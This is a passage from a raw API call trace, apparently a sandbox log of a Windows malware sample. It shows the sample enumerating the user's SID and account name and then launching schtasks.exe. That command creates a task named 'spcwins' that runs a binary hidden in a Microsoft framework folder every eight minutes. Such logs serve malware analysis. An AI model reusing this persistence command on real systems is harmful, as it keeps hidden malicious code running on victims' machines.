[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0129.165] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0129.165] malloc (_Size=0x18) returned 0x2aefa0 [0129.165] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0129.166] malloc (_Size=0x18) returned 0x2af0e0 [0129.166] malloc (_Size=0x18) returned 0x2af0c0 [0129.166] SysStringLen (param_1="S-1-") returned 0x4 [0129.166] SysStringLen (param_1="5") returned 0x1 [0129.166] memcpy (in: _Dst=0x139898, _Src=0x1196b8, _Size=0xa | out: _Dst=0x139898) returned 0x139898 [0129.166] memcpy (in: _Dst=0x1398a0, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x1398a0) returned 0x1398a0 [0129.166] free (_Block=0x2aefa0) [0129.166] free (_Block=0x2af0e0) [0129.166] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0129.166] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0129.166] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0129.166] malloc (_Size=0x18) returned 0x2af0e0 [0129.166] malloc (_Size=0x18) returned 0x2aefa0 [0129.166] SysStringLen (param_1="S-1-5") returned 0x5 [0129.166] SysStringLen (param_1="-") returned 0x1 [0129.166] memcpy (in: _Dst=0x1619a8, _Src=0x139898, _Size=0xc | out: _Dst=0x1619a8) returned 0x1619a8 [0129.166] memcpy (in: _Dst=0x1619b2, _Src=0x1196b8, _Size=0x4 | out: _Dst=0x1619b2) returned 0x1619b2 [0129.166] free (_Block=0x2af0c0) [0129.166] free (_Block=0x2af0e0) [0129.166] malloc (_Size=0x18) returned 0x2af0e0 [0129.166] malloc (_Size=0x18) returned 0x2af0c0 [0129.166] SysStringLen (param_1="S-1-5-") returned 0x6 [0129.166] SysStringLen (param_1="21") returned 0x2 [0129.166] memcpy (in: _Dst=0x1196b8, _Src=0x1619a8, _Size=0xe | out: _Dst=0x1196b8) returned 0x1196b8 [0129.166] memcpy (in: _Dst=0x1196c4, _Src=0x139898, _Size=0x6 | out: _Dst=0x1196c4) returned 0x1196c4 [0129.167] free (_Block=0x2aefa0) [0129.167] free (_Block=0x2af0e0) [0129.167] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0129.167] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0129.167] malloc (_Size=0x18) returned 0x2af0e0 [0129.167] malloc (_Size=0x18) returned 0x2aefa0 [0129.167] SysStringLen (param_1="S-1-5-21") returned 0x8 [0129.167] SysStringLen (param_1="-") returned 0x1 [0129.167] memcpy (in: _Dst=0x139898, _Src=0x1196b8, _Size=0x12 | out: _Dst=0x139898) returned 0x139898 [0129.167] memcpy (in: _Dst=0x1398a8, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x1398a8) returned 0x1398a8 [0129.167] free (_Block=0x2af0c0) [0129.167] free (_Block=0x2af0e0) [0129.167] malloc (_Size=0x18) returned 0x2af0e0 [0129.167] malloc (_Size=0x18) returned 0x2af0c0 [0129.167] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0129.167] SysStringLen (param_1="4219442223") returned 0xa [0129.167] memcpy (in: _Dst=0x1176d8, _Src=0x139898, _Size=0x14 | out: _Dst=0x1176d8) returned 0x1176d8 [0129.167] memcpy (in: _Dst=0x1176ea, _Src=0x1196b8, _Size=0x16 | out: _Dst=0x1176ea) returned 0x1176ea [0129.167] free (_Block=0x2aefa0) [0129.167] free (_Block=0x2af0e0) [0129.167] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0129.167] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0129.167] malloc (_Size=0x18) returned 0x2af0e0 [0129.167] malloc (_Size=0x18) returned 0x2aefa0 [0129.168] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0129.168] SysStringLen (param_1="-") returned 0x1 [0129.168] memcpy (in: _Dst=0x1179f8, _Src=0x1176d8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0129.168] memcpy (in: _Dst=0x117a1e, _Src=0x139898, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0129.168] free (_Block=0x2af0c0) [0129.168] free (_Block=0x2af0e0) [0129.168] malloc (_Size=0x18) returned 0x2af0e0 [0129.168] malloc (_Size=0x18) returned 0x2af0c0 [0129.168] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0129.168] SysStringLen (param_1="4223814209") returned 0xa [0129.168] memcpy (in: _Dst=0x12d918, _Src=0x1179f8, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0129.168] memcpy (in: _Dst=0x12d940, _Src=0x139898, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0129.168] free (_Block=0x2aefa0) [0129.168] free (_Block=0x2af0e0) [0129.168] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0129.168] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0129.168] malloc (_Size=0x18) returned 0x2af0e0 [0129.168] malloc (_Size=0x18) returned 0x2aefa0 [0129.168] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0129.168] SysStringLen (param_1="-") returned 0x1 [0129.168] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x3e | out: _Dst=0x12da28) returned 0x12da28 [0129.168] memcpy (in: _Dst=0x12da64, _Src=0x139898, _Size=0x4 | out: _Dst=0x12da64) returned 0x12da64 [0129.168] free (_Block=0x2af0c0) [0129.168] free (_Block=0x2af0e0) [0129.168] malloc (_Size=0x18) returned 0x2af0e0 [0129.169] malloc (_Size=0x18) returned 0x2af0c0 [0129.169] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0129.169] SysStringLen (param_1="3835049652") returned 0xa [0129.169] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0129.169] memcpy (in: _Dst=0x12d956, _Src=0x139898, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0129.169] free (_Block=0x2aefa0) [0129.169] free (_Block=0x2af0e0) [0129.169] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0129.169] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0129.169] malloc (_Size=0x18) returned 0x2af0e0 [0129.169] malloc (_Size=0x18) returned 0x2aefa0 [0129.169] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0129.169] SysStringLen (param_1="-") returned 0x1 [0129.169] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x54 | out: _Dst=0x12da28) returned 0x12da28 [0129.169] memcpy (in: _Dst=0x12da7a, _Src=0x139898, _Size=0x4 | out: _Dst=0x12da7a) returned 0x12da7a [0129.169] free (_Block=0x2af0c0) [0129.169] free (_Block=0x2af0e0) [0129.169] malloc (_Size=0x18) returned 0x2af0e0 [0129.169] malloc (_Size=0x18) returned 0x2af0c0 [0129.169] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0129.169] SysStringLen (param_1="1000") returned 0x4 [0129.169] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0129.169] memcpy (in: _Dst=0x12d96c, _Src=0x139898, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0129.169] free (_Block=0x2aefa0) [0129.170] free (_Block=0x2af0e0) [0129.170] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0129.170] malloc (_Size=0x5e) returned 0x2b08a0 [0129.170] free (_Block=0x2af0c0) [0129.170] malloc (_Size=0x18) returned 0x2af0c0 [0129.170] free (_Block=0x2b08a0) [0129.170] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0129.171] GetLastError () returned 0x7a [0129.171] malloc (_Size=0x14) returned 0x2af0e0 [0129.171] malloc (_Size=0x16) returned 0x2aefa0 [0129.171] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0e0, cchName=0xe7ca84, ReferencedDomainName=0x2aefa0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0129.171] malloc (_Size=0x18) returned 0x2aefc0 [0129.171] malloc (_Size=0x18) returned 0x2af000 [0129.171] free (_Block=0x2af0e0) [0129.171] free (_Block=0x2aefa0) [0129.172] free (_Block=0x2b0000) [0129.172] free (_Block=0x2af000) [0129.172] free (_Block=0x2aefc0) [0129.172] free (_Block=0x2af0c0) [0129.172] free (_Block=0x2ae2a0) [0129.172] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0129.172] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0129.173] GetLastError () returned 0x7a [0129.173] malloc (_Size=0x2c) returned 0x2ae2e0 [0129.173] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0129.173] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0129.173] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0129.173] malloc (_Size=0x1c) returned 0x2b0000 [0129.173] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0129.173] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0129.173] malloc (_Size=0x18) returned 0x2af0c0 [0129.173] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0129.173] malloc (_Size=0x18) returned 0x2aefc0 [0129.173] malloc (_Size=0x18) returned 0x2af000 [0129.173] SysStringLen (param_1="S-1-") returned 0x4 [0129.173] SysStringLen (param_1="5") returned 0x1 [0129.173] memcpy (in: _Dst=0x1196b8, _Src=0x1619a8, _Size=0xa | out: _Dst=0x1196b8) returned 0x1196b8 [0129.173] memcpy (in: _Dst=0x1196c0, _Src=0x139898, _Size=0x4 | out: _Dst=0x1196c0) returned 0x1196c0 [0129.173] free (_Block=0x2af0c0) [0129.173] free (_Block=0x2aefc0) [0129.173] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0129.173] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0129.173] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0129.174] malloc (_Size=0x18) returned 0x2aefc0 [0129.174] malloc (_Size=0x18) returned 0x2af0c0 [0129.174] SysStringLen (param_1="S-1-5") returned 0x5 [0129.174] SysStringLen (param_1="-") returned 0x1 [0129.174] memcpy (in: _Dst=0x139898, _Src=0x1196b8, _Size=0xc | out: _Dst=0x139898) returned 0x139898 [0129.174] memcpy (in: _Dst=0x1398a2, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x1398a2) returned 0x1398a2 [0129.174] free (_Block=0x2af000) [0129.174] free (_Block=0x2aefc0) [0129.174] malloc (_Size=0x18) returned 0x2aefc0 [0129.174] malloc (_Size=0x18) returned 0x2af000 [0129.174] SysStringLen (param_1="S-1-5-") returned 0x6 [0129.174] SysStringLen (param_1="21") returned 0x2 [0129.174] memcpy (in: _Dst=0x1619a8, _Src=0x139898, _Size=0xe | out: _Dst=0x1619a8) returned 0x1619a8 [0129.174] memcpy (in: _Dst=0x1619b4, _Src=0x1196b8, _Size=0x6 | out: _Dst=0x1619b4) returned 0x1619b4 [0129.174] free (_Block=0x2af0c0) [0129.174] free (_Block=0x2aefc0) [0129.174] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0129.174] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0129.174] malloc (_Size=0x18) returned 0x2aefc0 [0129.174] malloc (_Size=0x18) returned 0x2af0c0 [0129.174] SysStringLen (param_1="S-1-5-21") returned 0x8 [0129.174] SysStringLen (param_1="-") returned 0x1 [0129.174] memcpy (in: _Dst=0x1196b8, _Src=0x1619a8, _Size=0x12 | out: _Dst=0x1196b8) returned 0x1196b8 [0129.174] memcpy (in: _Dst=0x1196c8, _Src=0x139898, _Size=0x4 | out: _Dst=0x1196c8) returned 0x1196c8 [0129.175] free (_Block=0x2af000) [0129.175] free (_Block=0x2aefc0) [0129.175] malloc (_Size=0x18) returned 0x2aefc0 [0129.175] malloc (_Size=0x18) returned 0x2af000 [0129.175] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0129.175] SysStringLen (param_1="4219442223") returned 0xa [0129.175] memcpy (in: _Dst=0x1176d8, _Src=0x1196b8, _Size=0x14 | out: _Dst=0x1176d8) returned 0x1176d8 [0129.175] memcpy (in: _Dst=0x1176ea, _Src=0x1619a8, _Size=0x16 | out: _Dst=0x1176ea) returned 0x1176ea [0129.175] free (_Block=0x2af0c0) [0129.175] free (_Block=0x2aefc0) [0129.175] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0129.175] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0129.175] malloc (_Size=0x18) returned 0x2aefc0 [0129.175] malloc (_Size=0x18) returned 0x2af0c0 [0129.175] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0129.175] SysStringLen (param_1="-") returned 0x1 [0129.175] memcpy (in: _Dst=0x1179f8, _Src=0x1176d8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0129.175] memcpy (in: _Dst=0x117a1e, _Src=0x1196b8, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0129.175] free (_Block=0x2af000) [0129.175] free (_Block=0x2aefc0) [0129.175] malloc (_Size=0x18) returned 0x2aefc0 [0129.176] malloc (_Size=0x18) returned 0x2af000 [0129.176] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0129.176] SysStringLen (param_1="4223814209") returned 0xa [0129.176] memcpy (in: _Dst=0x12da28, _Src=0x1179f8, _Size=0x2a | out: _Dst=0x12da28) returned 0x12da28 [0129.176] memcpy (in: _Dst=0x12da50, _Src=0x1196b8, _Size=0x16 | out: _Dst=0x12da50) returned 0x12da50 [0129.176] free (_Block=0x2af0c0) [0129.176] free (_Block=0x2aefc0) [0129.176] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0129.176] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0129.176] malloc (_Size=0x18) returned 0x2aefc0 [0129.176] malloc (_Size=0x18) returned 0x2af0c0 [0129.176] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0129.176] SysStringLen (param_1="-") returned 0x1 [0129.176] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0129.176] memcpy (in: _Dst=0x12d954, _Src=0x1196b8, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0129.177] free (_Block=0x2af000) [0129.177] free (_Block=0x2aefc0) [0129.177] malloc (_Size=0x18) returned 0x2aefc0 [0129.177] malloc (_Size=0x18) returned 0x2af000 [0129.177] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0129.177] SysStringLen (param_1="3835049652") returned 0xa [0129.177] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x40 | out: _Dst=0x12da28) returned 0x12da28 [0129.177] memcpy (in: _Dst=0x12da66, _Src=0x1196b8, _Size=0x16 | out: _Dst=0x12da66) returned 0x12da66 [0129.177] free (_Block=0x2af0c0) [0129.177] free (_Block=0x2aefc0) [0129.177] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0129.177] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0129.177] malloc (_Size=0x18) returned 0x2aefc0 [0129.177] malloc (_Size=0x18) returned 0x2af0c0 [0129.177] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0129.177] SysStringLen (param_1="-") returned 0x1 [0129.177] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0129.177] memcpy (in: _Dst=0x12d96a, _Src=0x1196b8, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0129.177] free (_Block=0x2af000) [0129.177] free (_Block=0x2aefc0) [0129.177] malloc (_Size=0x18) returned 0x2aefc0 [0129.177] malloc (_Size=0x18) returned 0x2af000 [0129.178] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0129.178] SysStringLen (param_1="1000") returned 0x4 [0129.178] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x56 | out: _Dst=0x12da28) returned 0x12da28 [0129.178] memcpy (in: _Dst=0x12da7c, _Src=0x1196b8, _Size=0xa | out: _Dst=0x12da7c) returned 0x12da7c [0129.178] free (_Block=0x2af0c0) [0129.178] free (_Block=0x2aefc0) [0129.178] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0129.178] malloc (_Size=0x5e) returned 0x2b08a0 [0129.178] free (_Block=0x2af000) [0129.178] malloc (_Size=0x18) returned 0x2af000 [0129.178] free (_Block=0x2b08a0) [0129.178] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0129.179] GetLastError () returned 0x7a [0129.179] malloc (_Size=0x14) returned 0x2aefc0 [0129.179] malloc (_Size=0x16) returned 0x2af0c0 [0129.179] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca94, ReferencedDomainName=0x2af0c0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0129.180] malloc (_Size=0x18) returned 0x2aefa0 [0129.180] malloc (_Size=0x18) returned 0x2af0e0 [0129.180] free (_Block=0x2aefc0) [0129.180] free (_Block=0x2af0c0) [0129.180] free (_Block=0x2b0000) [0129.180] free (_Block=0x2af0e0) [0129.180] free (_Block=0x2aefa0) [0129.180] free (_Block=0x2af000) [0129.180] free (_Block=0x2ae2e0) [0129.181] malloc (_Size=0x48) returned 0x2ad270 [0129.181] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0129.187] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0129.187] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0129.187] malloc (_Size=0x18) returned 0x2af000 [0129.187] CreateEnvironmentBlock () returned 0x1 [0129.220] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0129.220] malloc (_Size=0x18) returned 0x2aefa0 [0129.221] CreateProcessAsUserW (in: hToken=0x2d0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"spcwins\" /sc MINUTE /mo 8 /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x15b300, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"spcwins\" /sc MINUTE /mo 8 /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x248, hThread=0x24c, dwProcessId=0xec8, dwThreadId=0xecc)) returned 1 [0129.226] CloseHandle (hObject=0x248) returned 1 [0129.226] CloseHandle (hObject=0x24c) returned 1 [0129.226] free (_Block=0x2aefa0) [0129.226] DestroyEnvironmentBlock () returned 0x1 [0129.227] malloc (_Size=0x48) returned 0x2ad220 [0129.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1c0dbaa0, dwHighDateTime=0x1d8a92a)) [0129.227] SetEvent (hEvent=0x1f0) returned 1 [0129.227] CloseHandle (hObject=0x2dc) returned 1 [0129.227] CloseHandle (hObject=0x2d0) returned 1 [0129.312] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0129.312] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0129.312] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0129.648] SetLastError (dwErrCode=0x0) [0129.648] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, 